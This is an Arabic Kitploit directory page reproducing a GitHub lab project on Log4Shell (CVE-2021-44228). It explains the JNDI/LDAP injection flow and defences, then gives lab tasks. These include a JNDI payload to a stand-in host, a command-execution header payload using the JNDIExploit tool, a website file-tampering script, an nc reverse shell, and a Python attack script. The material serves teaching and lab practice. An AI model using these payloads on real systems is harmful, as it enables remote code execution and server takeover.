Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Log4Shell-CVE-2021-44228-Demo — عرض توضيحي لـ Log4Shell CVE-2021-44228 | Kitploit
أدوات/GitHubGitHub/ra890927/log4shell-cve-2021-44228-demo
توليد الحمولةتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبالقيادة والسيطرةالتعلم والتعليمأداة الوصول عن بعدمختبرات وتدريب عملي

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
GitHub
ra890927/log4shell-cve-2021-44228-demo

Log4Shell-CVE-2021-44228-Demo

عرض توضيحي لـ Log4Shell CVE-2021-44228

عرض المستودع
2منذ 4 سنواتلم تتم المراجعة بعد
مشاركة

CVE-2021–44228 Demo

1. مقدمة عن CVE-2021–44228

أكبر خبر في مجال الأمن السيبراني في نهاية عام 2021 كان ثغرة Log4j، برقم CVE-2021-44228، والمعروفة أيضًا باسم Log4Shell. تم تصنيفها على أنها الدرجة 10 في نظام CVSS، وهي أسوأ درجة، وتُعتبر أخطر ثغرة في السنوات الأخيرة بعد Heartbleed وShellShock. حتى أن البعض وصفها بأنها "ثغرة نووية"، مما يدل على عمق تأثيرها. يقوم هذا المشروع بتحليل CVE-2021-44228 مع تطبيق عملي (lab).

2. حول Log4j

ملف السجل (Logfile) هو ملف يسجل الأحداث التي تحدث في نظام تشغيل أو برنامج أثناء التشغيل، أو الرسائل المتبادلة بين المستخدمين في برامج الدردشة. تحتوي العديد من أنظمة التشغيل وأطر العمل والبرامج على أنظمة سجل. لدى لغة Java حزمة سجل ممتازة تُسمى Log4j. هذه الحزمة تابعة لمؤسسة Apache، لذا يُطلق عليها الاسم الكامل Apache Log4j.

Log4j هي أداة ممتازة تُستخدم على نطاق واسع في برامج Java. في كثير من الأحيان، يحتاج مهندسو البرمجيات إلى كتابة بيانات تنفيذ البرنامج في ملفات سجل أو في قواعد بيانات أخرى لاستخدامها لاحقًا. هذا هو استخدام Log4j: يمكنه استقبال سلسلة نصية (مثل معرف المستخدم المدخل في شاشة تسجيل الدخول) وكتابتها في مكان آخر (مثل حقل إدخال البيانات في عملية المصادقة). بالإضافة إلى النسخ/اللصق الأساسي، يمكن لـ Log4j أيضًا عرض وتفسير محتوى السلسلة النصية. والتفسير هو عملية خطيرة، لأنه ما لم يتم تنظيف السلسلة أولاً، يمكن أن تحدث مشاكل بسهولة أثناء التفسير. لا يقوم Log4j بتنظيف السلسلة قبل تفسيرها، مما يسمح للمهاجمين بشن هجمات حقن (injection).

3. CVE-2021–44228

CVE-2021-44228 هي ثغرة خطيرة لأنها تسمح بتنفيذ تعليمات برمجية عن بُعد (RCE) على خادم Java من قبل مهاجم غير مصادق. تنشأ الثغرة من كيفية معالجة Log4j لرسائل السجل. إذا أرسل المهاجم رسالة معدلة (تحتوي على سلسلة مثل ${jndi:ldap://rogueldapserver.com/a})، فقد يؤدي ذلك إلى تحميل فئة برمجية خارجية أو بحث عن رسالة (message lookup) وتنفيذ البرنامج، مما يؤدي إلى حدوث RCE.

فيما يلي التدفق الأساسي لـ RCE.

  1. يرسل المهاجم طلبًا مع هجوم حقن إلى الخادم الضعيف. على سبيل المثال: إرسال طلب HTTP
    root@kitploit:~
    $ curl vulnerable_server -H 'X-Api-Version: ${jndi:ldap://evil.xo/x}'
    
  2. يتم تمرير السلسلة المُدخلة إلى Log4j لتسجيلها. في نفس الوقت، يتلقى Log4j أيضًا ${jndi:ldap://evil.xo/x}
  3. يعرض Log4j محتوى السلسلة ويفسره، ثم يقوم JNDI (Java Naming and Directory Interface) باستفسار من خادم LDAP. LDAP هو بروتوكول شبكة يوفر التحكم في الوصول وصيانة المعلومات الموزعة من خلال بروتوكول IP.
  4. خادم LDAP هو خادم ضار. بعد تلقي استعلام JNDI، يقوم بتحليل المحتوى المُحقون، ثم يرد على JNDI بالدليل المطلوب، والذي يحتوي على فئة Java ضارة أو تعليمات.
  5. يقوم الخادم الضعيف بتنفيذ الرد الذي تلقاه من JNDI، ويكون حقن المهاجم ناجحًا.

كيفية الدفاع ضد ثغرة Log4j

  1. استخدم أحدث إصدار من Log4j لإعادة بناء حزمة البرنامج (الإصدار الحالي هو 2.17.xx). بالإضافة إلى ذلك، تحقق من أحدث التصحيحات على موقع Apache Foundation.
  2. قم بإعداد WAF (جدار حماية تطبيقات الويب) لتحديد قواعد الاقتحام وتصفية سلاسل الإدخال لـ Log4j. لكن هذه طريقة غير جذرية، حيث يمكن للمهاجمين إخفاء السلاسل، مثل استخدام تشفير Base64 لتجنب الكشف عن طريق مسح النص.
  3. قم بتعطيل وظيفة السجل مؤقتًا حتى يتم التصحيح أو
  4. تحديث الكود. قد تضطر إلى تعليق جميع المكالمات إلى Log4j، مما قد يتسبب في فقدان التطبيق لبعض الوظائف، مثل: عدم القدرة على إرسال رسائل من مستخدم إلى آخر. بالمناسبة، هذه هي الطريقة التي تم بها اكتشاف هذه الثغرة في البداية: اكتشف لاعبو Minecraft أنه إذا قاموا بلصق تعليمات Log4j في مربع الدردشة، فسيتم تنفيذ هذه الرسائل كتعليمات مباشرة بدلاً من إرسالها كرسائل.

بيئة المختبر

1. إعداد البيئة

يرجى تنزيل VM الخاص بـ SEED Ubuntu 20.04. توفر هذه VM بيئة Docker مثبتة مسبقًا. تحميل

تحميل JNDIExploit

root@kitploit:~
$ wget -P /LDAP_server https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip

إعداد الحاويات

root@kitploit:~
$ docker-compose build  # بناء صورة الحاوية
$ docker-compose up     # تشغيل الحاوية
$ docker-compose down   # إيقاف الحاوية

# اختصارات لأوامر Compose أعلاه
$ dcbuild   # اختصار لـ: docker-compose build
$ dcup      # اختصار لـ: docker-compose up
$ dcdown    # اختصار لـ: docker-compose down

أوامر الحاويات

root@kitploit:~
$ dockps        # اختصار لـ: docker ps --format "{{.ID}} {{.Names}}"
$ docksh <id>   # اختصار لـ: docker exec -it <id> /bin/bash

# المثال التالي يوضح كيفية الحصول على شل داخل hostC
$ dockps
b1004832e275 LDAP-10.9.0.5
9652715c8e0a vulnerable-app
$ docksh b1
root@b1004832e275:/#

لتبسيط الخطوات، جميع الخوادم موجودة ضمن نفس الشبكة المحلية (LAN)

مهام المختبر

المهمة 1: استخدام Log4j

في هذه المهمة، يمكن للمستخدم التعرف على كيفية عمل log4j. يمكن للمستخدم استخدام header X-Api-Version لتسجيل سجل باستخدام log4j.

root@kitploit:~
# <> هي أجزاء يحتاج المستخدم لتعديلها
$ curl <server:ip> -H 'X-Api-Version: <version-number>'

إذا قام الخادم بتحليل الطلب الذي أرسلته بشكل صحيح، فسيعيد Hello World!. يرجى تسجيل النتيجة التي أعادها الخادم في التقرير وما إذا كان الخادم قد حلل الطلب بشكل صحيح وسجل السجل.

المهمة 2: إطلاق Log4Shell

في عام 2013، تمت إضافة "إضافة JNDILookup" إلى حزمة Log4j، مما يسمح للمطورين باستخدام JNDI مع LDAP للحصول على كائنات Java من مصادر خارجية من JNDITutorial.

الآن سنستخدم log4j الذي استخدمناه سابقًا مع JNDIExploit لجعل الخادم ينفذ الأمر الذي نريده.

root@kitploit:~
# <> هي أجزاء يحتاج المستخدم لتعديلها
$ curl <server:ip> -H 'X-Api-Version: ${jndi:ldap://<ldap>:1389/Basic/Command/Base64/<content>}'

يرجى إنشاء ملف secret.txt داخل مجلد /tmp، ثم الدخول إلى الخادم للتحقق من نجاح إنشاء الملف.


ملاحظة-1: لا يمكن وضع الأمر مباشرة في <content>، بل يجب تحويله
ملاحظة-2: نظرًا لأن vulnerable-app لا يحتوي على shell /bin/bash، يمكن استخدام أمر docker للتحقق من الملف

root@kitploit:~
$ docker exec vulnerable-app ls /tmp

استخدام JNDIExploit بالتفصيل

المهمة 3: تعديل ملف الخادم

بعد المهمة السابقة، نجد أن vulnerable-app ينفذ أي أمر base64 يرسله المهاجم. إذا أراد المهاجم القيام بعمليات أكثر تعقيدًا، يمكنه إرسال سكربت هجوم (shell script) لتنفيذه على الخادم.

root@kitploit:~
$ cd /var/www
$ head -c <head-num> index.html > tmp
$ echo -n <score> >> tmp
$ tail -c <tail-num> index.html >> tmp
$ mv tmp index.html

أعلاه سكربت لتعديل درجة في موقع ويب. الدرجة مخزنة داخل index.html. يرجى تنفيذه بنجاح أولاً وتحديد الاختلافات. ثم قم بتعديل هذا السكربت لتغيير ملف الدرجة إلى الرقم الذي تريده.


ملاحظة-1: هناك طريقة أخرى لتعديل الملف بسهولة وهي sed
ملاحظة-2: نظرًا لأن vulnerable-app لا يسمح للمستخدم بعرض /var/www عبر المتصفح، يمكن استخدام أمر docker للتحقق من الملف

root@kitploit:~
$ docker exec vulnerable-app cat /var/www/index.html

المهمة 4: إنشاء شل عكسي باستخدام Log4Shell

بعد المهام السابقة، أصبحنا قادرين على تحويل الأوامر التي نريد تنفيذها إلى base64 وجعل الخادم ينفذها. للسيطرة الكاملة على الخادم، يمكن استخدام الأوامر لإنشاء شل عكسي (reverse shell).

root@kitploit:~
# <> هي أجزاء يحتاج المستخدم لتعديلها
$ mkfifo <file-name>
$ cat <file-name> | sh -i <io-turn> | nc <attacker-ip:port> > <file-name>

لتسهيل الأمر، نقدم سكربت Python للهجوم.

root@kitploit:~
import os
import sys
import base64
import requests
                    
ldap = '###'        # user modify
server_ip = '###'   # user modify

cmd = sys.argv[1]
data = base64.b64encode(cmd.encode('utf-8')).decode('utf-8')
data = data.replace('+', '%2B')
print(data)
os.system('curl ' + server_ip + f" -H 'X-Api-Version: ${{jndi:ldap://{ldap}/Basic/Command/Base64/{data}}}'")
root@kitploit:~
$ ./script '<command>'

ملاحظة: vulnerable-app لا يحتوي على /bin/bash ولا /dev/tcp، لذا لا يمكن استخدام طريقة الشل العكسي العادية. ولكن يمكننا إنشاء ملف pipe للقراءة والكتابة عليه.

root@kitploit:~
$ mkfifo <file-name>

المراجع

https://github.com/christophetd/log4shell-vulnerable-app
https://github.com/BabooPan/Log4Shell-CVE-2021-44228-Demo
https://github.com/Mr-xn/JNDIExploit-1
https://www.informationsecurity.com.tw/article/article_detail.aspx?aid=9641

تنزيل الأداة